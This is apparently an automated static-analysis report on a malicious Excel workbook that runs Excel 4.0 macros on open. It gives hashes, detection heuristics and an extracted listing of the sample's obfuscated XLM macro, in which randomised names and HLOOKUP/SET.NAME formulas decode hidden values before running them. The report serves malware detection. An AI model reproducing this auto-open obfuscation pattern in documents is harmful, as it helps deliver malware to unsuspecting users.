Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e772bff6a434d9aa…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:39:43 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: eb194c66253dbfc68c4d93b14c787f2b SHA-1: d86043f7cbfa840ff4811ec2d3613a9318ec35ca SHA-256: e772bff6a434d9aa917a77c2911c52bb172b12e534aec5b7fe99f828719c9189
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6673 bytes
SHA-256: bf9ba3948c8268a1d641cd45594255d0fa2e164748cb1e1267aa20628a391fdf
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ebLtMiVb
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H156 
' 0018     24 LABEL : Cell Value, String Constant - AWvjpCGME len=0 
' 0018     21 LABEL : Cell Value, String Constant - FMOBth len=0 
' 0018     23 LABEL : Cell Value, String Constant - FpvIUeoR len=0 
' 0018     23 LABEL : Cell Value, String Constant - GHUWDGCw len=0 
' 0018     21 LABEL : Cell Value, String Constant - JyHgyi len=0 
' 0018     20 LABEL : Cell Value, String Constant - mKSbM len=0 
' 0018     20 LABEL : Cell Value, String Constant - MzjHF len=0 
' 0018     27 LABEL : Cell Value, String Constant - nZEDsFkPBTgR len=0 
' 0018     20 LABEL : Cell Value, String Constant - oysMw len=0 
' 0018     20 LABEL : Cell Value, String Constant - qkKyD len=0 
' 0018     21 LABEL : Cell Value, String Constant - sCSirn len=0 
' 0018     26 LABEL : Cell Value, String Constant - uNmNjtxJvFS len=0 
' 0018     26 LABEL : Cell Value, String Constant - UTqQkjncIFW len=0 
' 0018     20 LABEL : Cell Value, String Constant - vZwtQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - WCLinMwBWBS len=0 
' 0018     20 LABEL : Cell Value, String Constant - wDBuo len=0 
' 0018     25 LABEL : Cell Value, String Constant - xhHcJhBtkf len=0 
' 0018     22 LABEL : Cell Value, String Constant - XUsLLEi len=0 
' 0018     20 LABEL : Cell Value, String Constant - YgFQL len=0 
' 0018     21 LABEL : Cell Value, String Constant - yvZcDE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ebLtMiVb,H65,"SET.NAME("XUsLLEi",0+VALUE("0"))",""
'  ebLtMiVb,H68,"SET.NAME("vZwtQ",XUsLLEi)",""
'  ebLtMiVb,H70,"SET.NAME("wDBuo",XUsLLEi)",""
'  ebLtMiVb,H72,"SET.NAME("yvZcDE",COUNTA(sCSirn))",""
'  ebLtMiVb,H75,"SET.NAME("FMOBth",COUNTA(qkKyD))",""
'  ebLtMiVb,Q78,"",734.00000000000000000000
'  ebLtMiVb,H79,[],""
'  ebLtMiVb,Q79,"",-89.00000000000000000000
'  ebLtMiVb,Q80,"",-542.00000000000000000000
'  ebLtMiVb,H81,"SET.NAME("oysMw","")",""
'  ebLtMiVb,Q81,"",301.00000000000000000000
'  ebLtMiVb,Q82,"",-925.00000000000000000000
'  ebLtMiVb,Q83,"",260.00000000000000000000
'  ebLtMiVb,H85,"vZwtQ",""
'  ebLtMiVb,H90,"SET.NAME("YgFQL",HLOOKUP("*",sCSirn,vZwtQ,FALSE))",""
'  ebLtMiVb,H92,"JyHgyi",""
'  ebLtMiVb,H96,"SET.NAME("UTqQkjncIFW",XUsLLEi)",""
'  ebLtMiVb,H100,[],""
'  ebLtMiVb,H102,"UTqQkjncIFW",""
'  ebLtMiVb,H107,"FpvIUeoR",""
'  ebLtMiVb,H110,"AWvjpCGME",""
'  ebLtMiVb,H115,"uNmNjtxJvFS",""
'  ebLtMiVb,H118,"SET.NAME("nZEDsFkPBTgR",VALUE(HLOOKUP("*",qkKyD,uNmNjtxJvFS,FALSE)))",""
'  ebLtMiVb,H123,"GHUWDGCw",""
'  ebLtMiVb,H127,"oysMw",""
'  ebLtMiVb,H132,"wDBuo",""
'  ebLtMiVb,H135,NEXT(),""
'  ebLtMiVb,H140,"mKSbM",""
'  ebLtMiVb,H144,[],""
'  ebLtMiVb,H146,"WCLinMwBWBS",""
'  ebLtMiVb,H149,NEXT(),""
'  ebLtMiVb,H151,RETURN(),""
'  ebLtMiVb,H181,"SET.NAME("MzjHF",H65)",""
'  ebLtMiVb,H185,"sCSirn",""
'  ebLtMiVb,H189,"SET.NAME("qkKyD",R52C14)",""
'  ebLtMiVb,H193,"SET.NAME("WCLinMwBWBS",201)",""
'  ebLtMiVb,H198,"SET.NAME("xhHcJhBtkf",8)",""
'  ebLtMiVb,H200,MzjHF(),""
'  ebLtMiVb,H201,HALT(),""